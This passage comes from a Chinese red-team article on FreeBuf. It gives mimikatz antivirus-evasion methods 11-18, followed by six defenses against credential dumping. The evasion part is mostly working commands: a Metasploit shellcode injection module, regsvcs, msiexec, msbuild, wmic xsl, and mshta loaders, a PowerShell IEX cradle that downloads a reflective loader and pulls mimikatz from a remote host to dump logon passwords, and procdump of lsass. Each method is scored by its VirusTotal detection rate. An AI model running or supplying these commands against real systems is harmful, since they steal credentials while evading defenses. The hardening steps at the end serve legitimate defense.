2、将上面的shellcode_inject.rb放入/opt/metasploit-framework/embedded/framework/modules/post/windows/manage下(实际路径可能不同,也就是metasploit-framework的上级路径,根据实际情况调整),然后进入msf,reload_all同时载入所有模块。

kali里是在目录/usr/share/metasploit-framework/modules/post/windows/manage/

mac下是在/opt/metasploit-framework/embedded/framework/modules/post/windows/manage

3、使用之前载入的shellcode_inject注入模块,这里是获取session后的操作了,session先自己上线再进行以下操作

use post/windows/manage/shellcode_inject
set session 2
set shellcode /tmp/payload.bin
run

最后成功加载了mimi,使用shellcode注入执行,有更强的隐蔽性。

VT平台上mimi.bin文件查杀率2/59,卡巴斯基这都能查杀…

方法11-用C#加载mimikatz(VT查杀率35/73)

参考https://www.jianshu.com/p/12242d82b2df

参考远控免杀专题(29)-C#加载shellcode免杀-5种方式(VT免杀率8-70):https://mp.weixin.qq.com/s/Kvhfb13d2_D6m-Bu9Darog

下载

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/katz.cs

将katz.cs放置C:\Windows\Microsoft.NET\Framework\v2.0.50727先powoershell执行

$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content  key.snk -Value $Content -Encoding Byte

再cmd执行

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /r:System.EnterpriseServices.dll /out:katz.exe /keyfile:key.snk /unsafe katz.cs
C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe katz.exe

运行时需要管理员权限,而且360会拦截

放行后可正常执行

virustotal.com上katz.exe查杀率为35/73,略惨。

方法12-JS加载mimikatz(VT查杀率22/59)

参考远控免杀专题(38)-白名单Rundll32.exe执行payload(VT免杀率22-58):https://mp.weixin.qq.com/s/rm**AWC6HmcphozfEZhRGA

这个是大佬已经做好的payload,可以直接进行使用。

用DotNetToJScript实现

https://github.com/tyranid/DotNetToJScript

mimikatz

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.js

执行cscript mimikatz.js,360会拦截。

放行后可正常执行

virustotal.com上mimikatz.js查杀率为22/59。

方法13-msiexec加载mimikatz(VT查杀率25/60)

参考远控免杀专题(35)-白名单Msiexec.exe执行payload(VT免杀率27-60):https://mp.weixin.qq.com/s/XPrBK1Yh5ggO-PeK85mqcg

使用Advanced Installer生成msi文件。

远程执行

msiexec.exe /passive /i https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.msi /norestart

本地执行

msiexec /passive /i Mimikatz.msi

virustotal.com上mimikatz.msi查杀率为25/60。

方法14-白名单msbuild.exe加载(VT查杀率4/59)

可参考之前的远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57):https://mp.weixin.qq.com/s/1WEglPXm1Q5n6T-c4OhhXA

下载mimikatz.xml

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/executes-mimikatz.xml

执行

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe executes-mimikatz.xml

火绒会预警,360不会

virustotal.com上executes-mimikatz.xml查杀率为4/59。

方法15-JScript的xsl版(VT查杀率7/60)

下载

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.xsl

本地加载

wmic os get /format:"mimikatz.xsl"

远程加载

wmic os get /format:"https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.xsl"

放行后

virustotal.com上mimikatz.xsl查杀率为7/60。

方法16-jscript的sct版(VT查杀率23/59)

参考远控免杀专题(37)-白名单Mshta.exe执行payload(VT免杀率26-58):https://mp.weixin.qq.com/s/oBr-syv2ef5IjeGFrs7sHg

下载

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.sct

执行

mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.sct").Exec(); log coffee exit

360拦截依旧

virustotal.com上mimikatz.sct查杀率为23/59。

方法17-ReflectivePEInjection加载(VT查杀率32/57)

ReflectivePEInjection是powersploit里的比较有名的一个pe加载脚本,很好使。

下载

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-ReflectivePEInjection.ps1

执行

powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl "http://10.211.55.2/mimikatz/x64/mimikatz.exe" -ExeArgs "sekurlsa::logonpasswords" -ForceASLR

这个用什么来衡量免杀都不太合适,我就用Invoke-ReflectivePEInjection.ps1吧。在virustotal.com上Invoke-ReflectivePEInjection.ps1查杀率为32/57。

方法18-导出lsass进程离线读密码(VT查杀率0/72)

windows有多款官方工具可以导出lsass进程的内存数据,比如procdump.exe、SqlDumper.exe、Out-Minidump.ps1等,我这里以procdump.exe为例进行演示。

procdump.exe工具是微软出品的工具,具有一定免杀效果。可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码。

procdump.exe下载https://github.com/TideSec/BypassAntiVirus/tree/master/tools/mimikatz/procdump.exe

在目标机器执行下面命令,导出lsass.dmp

procdump.exe -accepteula -ma lsass.exe lsass.dmp

再使用mimikatz读取密码

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

需要注意的是从目标机器导出的lsass.dmp需要在相同系统下运行。

在virustotal.com上procdump.exe查杀率为0/72,不过这种读取lsass的行为早就被各大杀软拦截了,所以这种静态查杀没有太大参考价值。

我们团队的诺言大佬写过一篇可绕过卡巴斯基获取hash的方法,可以看这个https://mp.weixin.qq.com/s/WLP1soWz-_BEouMxTHLbzg

0×04 防御mimikatz的6种方法

由于mimikatz工具太厉害,横向移动必备神器,所以针对mimikatz的加固方法也有不少,这里简单介绍几种。

方法1-WDigest禁用缓存

WDigest.dll是在Windows XP操作系统中引入的,当时这个协议设计出来是把明文密码存在lsass里为了http认证的。WDigest的问题是它将密码存储在内存中,并且无论是否使用它,都会将其存储在内存中。

默认在win2008之前是默认启用的。但是在win2008之后的系统上,默认是关闭的。如果在win2008之前的系统上打了KB2871997补丁,那么就可以去启用或者禁用WDigest。

KB2871997补丁下载地址:

Windows 7 x86 https://download.microsoft.com/download/9/8/7/9870AA0C-BA2F-4FD0-8F1C-F469CCA2C3FD/Windows6.1-KB2871997-v2-x86.msu
Windows 7 x64 https://download.microsoft.com/download/C/7/7/C77BDB45-54E4-485E-82EB-2F424113AA12/Windows6.1-KB2871997-v2-x64.msu
Windows Server 2008 R2 x64 Edition https://download.microsoft.com/download/E/E/6/EE61BDFF-E2EA-41A9-AC03-CEBC88972337/Windows6.1-KB2871997-v2-x64.msu

启用或者禁用WDigest修改注册表位置:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest

UseLogonCredential 值设置为 0, WDigest不把凭证缓存在内存,mimiktaz抓不到明文;UseLogonCredential 值设置为 1, WDigest把凭证缓存在内存,mimiktaz可以获取到明文。

在注册表中将UseLogonCredential 值设置为 0,或者使用命令

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

我们可以通过如下命令来测试修改是否生效:

reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential

如果成功,系统应该会返回如下内容:

注销后重新登录,发现mimikatz已经无法获取明文密码。

方法2-Debug 权限

Mimikatz在获取密码时需要有本地管理员权限,因为它需要与lsass进程所交互,需要有调试权限来调试进程,默认情况下本地管理员拥有调试权限,但是这个权限一般情况是很少用得到的,所以可以通过关闭debug权限的方法来防范Mimikatz。

删除上图的administrators组,这样管理员也没了debug权限。

注销后再执行mimiktaz,获取debug权限时发现报错。

方法3-LSA 保护

自Windows 8.1 开始为LSA提供了额外的保护(LSA Protection),以防止读取内存和不受保护的进程注入代码。保护模式要求所有加载到LSA的插件都必须使用Microsoft签名进行数字签名。 在LSA Protection保护模式下,mimikatz运行 sekurlsa::logonpasswords抓取密码会报错。

可以通过注册表开启LSA Protection,注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa新建-DWORD(32)值,名称为 RunAsPPL,数值为 00000001,然后重启系统生效。

或者使用命令来完成

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d "00000001" /f

重启后再执行mimikatz.exe,发现已经无法获取密码。

此时其实可以从磁盘上的SAM读取凭据,执行

mimikatz # privilege::debug
mimikatz # token::whoami
mimikatz # token::elevate
mimikatz # lsadump::sam

方法4-受限制的管理模式

对于 Windows 2012 R2 和 Windows 8.1 之前的旧操作系统,需要先安装补丁KB2871997。

先在 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa 设置RunAsPPL为1然后在 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa 设置 DisableRestrictedAdmin为0 , DisableRestrictedAdminOutboundCreds为1。

然后需要在域中强制执行“对远程服务器的凭据限制委派”策略,以确保所有出站RDP会话都使用“RestrictedAdmin”模式,因此才不会泄露凭据。

具体位置是组策略:计算机配置–管理模板–系统–凭据分配–限制向远程服务器分配凭据,选择已启用,但是我的环境里选项一栏中没有看到Require Restricted Admin。

在执行 lsadump::cache时报错,ERROR kuhl_m_lsadump_secrets0rCache:kull_m_registry_RegOpenKeyEx (SECURITY) 0×00000005该错误,是注册表增加了LSA保护所起到的。

方法5-禁用凭证缓存

Domain Cached Credentials 简称 DDC,也叫 mscache。有两个版本,XP/2003 年代的叫第一代,Vasta/2008 之后的是第二代。如果域控制器不可用,那么windows将检查缓存的最后一个密码hash值,这样为以后系统对用户进行身份验证。缓存位置如下:

HKEY_LOCAL_MACHINE\SECURITY\Cache

在组策略中设置禁用缓存

计算机配置--windows设置--安全设置--本地策略--安全选项 交互式登录:之前登录到缓存的次数(域控制器不可用时) 默认是10,设置为0

注销后再次执行mimikatz,没有读取到任何用户数据。

方法6-受保护的用户组

WindowsServer 2012及更高版本使用了引入了一个名为“Protected Users”的新安全组,其他系统需要安装 KB2871997 补丁才会有。

此组使域管理员能够保护本地管理员等有权限的用户,因为属于该组的任何帐户只能通过Kerberos对域进行身份验证。

这将有助于防止NTLS密码哈希值或LSAS中的纯文本凭据泄露给敏感帐户,这些帐户通常是攻击者的目标。

可以在“Active Directory用户和计算机”中找到“Protected Users”安全组。

在配置之前,使用mimikatz可读取明文密码。

可以通过执行以下PowerShell命令将帐户添加到“受保护的用户”组中:

Add-ADGroupMember –Identity 'Protected Users' –Members administrator

注销后再次执行mimikatz,已经看不到administrator用户的密码了。

0×05 小结

通过对mimikatz免杀的研究,也算是对之前的远控免杀专题文章进行了重温和实践,整理了几种能适用于任意exe文件的免杀方法,最起码以后看到杀软不会那么咬牙切齿了。

1、源码级免杀应该是效果比较好的,不过对编程能力、免杀经验要求比较高,不少大佬手头上都有私藏定制的全免杀的mimikatz,很多都是通过源码处理后再编译来免杀的。

2、通过修改资源、签名、pe优化修改等方式相对简单一些,不过免杀效果也差了一些,很多时候静态查杀能过,但行为查杀就废了。

3、针对powershell来加载或执行mimikatz时,免杀主要针对powershell脚本,免杀效果也很好,不过你在目标机器上怎么执行powershell而不触发杀软行为检测是个问题。

4、加载器的免杀效果整体算不错,当然donut是个例外,因为他开源而且知名度比较高,里面特征码被查杀的太厉害,如果稍微修改下源码再编译应该会好很多。

5、白名单执行大部分还是使用了将C#程序转为js的方法,静态免杀效果还不错,但白名单最尴尬的是远程调用时杀软都会拦截报警,在2008服务器上你用webshell调用任意程序最新的360都会拦截。

0×06 参考资料

防御mimikatz抓取密码的方法:https://zhuanlan.zhihu.com/p/59337564

Bypass LSA Protection:https://xz.aliyun.com/t/6943

防御Mimikatz攻击的方法介:https://www.freebuf.com/articles/network/180869.html

九种姿势运行Mimikatz:https://cloud.tencent.com/developer/article/1171183

Mimikatz的多种攻击方式以及防御方式:http://blog.itpub.net/69946337/viewspace-2658825/

简单几步搞定Mimikatz无文件+免杀:https://www.jianshu.com/p/ed5074f8584b

*本文作者:Tide重剑无锋,转载请注明来自FreeBuf.COM